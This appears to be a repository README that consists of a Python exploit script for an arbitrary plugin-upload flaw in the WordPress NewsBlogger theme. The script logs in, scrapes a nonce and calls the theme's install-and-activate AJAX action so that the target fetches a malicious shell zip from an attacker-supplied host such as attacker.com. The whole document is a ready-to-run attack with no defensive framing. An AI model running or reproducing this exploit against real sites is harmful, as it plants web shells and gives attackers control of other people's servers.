README.md
Rendering markdown...
import requests
import re
import argparse
# By : Nxploited (Khaled Alenazi)
# Argument parser for user inputs
parser = argparse.ArgumentParser(description="WordPress NewsBlogger Theme Arbitrary File Upload Exploit # By Nxploited (Khaled Alenazi)")
parser.add_argument('--url', '-u', required=True, help='Target base URL (e.g., http://localhost/wordpress)')
parser.add_argument('--username', '-un', required=True, help='WordPress admin username')
parser.add_argument('--password', '-p', required=True, help='WordPress admin password')
parser.add_argument('--shellweb', '-shell', required=True, help='Direct URL to the malicious shell zip (e.g., http://attacker.com/shell.zip)')
args = parser.parse_args()
# Setup session
session = requests.Session()
session.verify = False # Disable SSL verification
requests.packages.urllib3.disable_warnings()
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36"
# Login
login_url = f"{args.url}/wp-login.php"
print(f"[+] Logging in to {login_url}")
response = session.post(login_url, data={
'log': args.username,
'pwd': args.password,
'rememberme': 'forever',
'wp-submit': 'Log+In'
}, headers={"User-Agent": user_agent})
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Logged in successfully.")
else:
print("[-] Failed to log in.")
exit()
# Extract nonce
welcome_url = f"{args.url}/wp-admin/admin.php?page=newsblogger-welcome"
print(f"[+] Fetching welcome page to extract nonce: {welcome_url}")
welcome_resp = session.get(welcome_url)
nonce_patterns = [
r'pluginInstallerAjax\s*=\s*{[^}]*"nonce"\s*:\s*"([^"]+)"',
r'"nonce"\s*:\s*"([a-zA-Z0-9]+)"',
r'nonce\s*=\s*"([a-zA-Z0-9]+)"',
r'nonce":"([a-zA-Z0-9]+)"'
]
nonce = next((re.search(pattern, welcome_resp.text).group(1) for pattern in nonce_patterns if re.search(pattern, welcome_resp.text)), None)
if not nonce:
print("[-] Failed to extract nonce. Try visiting the welcome page and inspect manually.")
exit()
print(f"[+] Extracted nonce: {nonce}")
# Execute exploit
ajax_url = f"{args.url}/wp-admin/admin-ajax.php"
payload = {
'action': 'newsblogger_install_activate_plugin',
'plugin_url': args.shellweb,
'plugin_slug': 'spice-starter-sites',
'_ajax_nonce': nonce
}
print(f"[+] Sending malicious plugin URL to: {ajax_url}")
exploit_resp = session.post(ajax_url, headers={
"User-Agent": user_agent,
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": welcome_url
}, data=payload)
print("[+] Server response:")
print(exploit_resp.text)
if "Plugin activated" in exploit_resp.text or "success" in exploit_resp.text.lower():
print("\nExploit executed successfully.")
else:
print("[-] Exploit may have failed or response needs manual review.")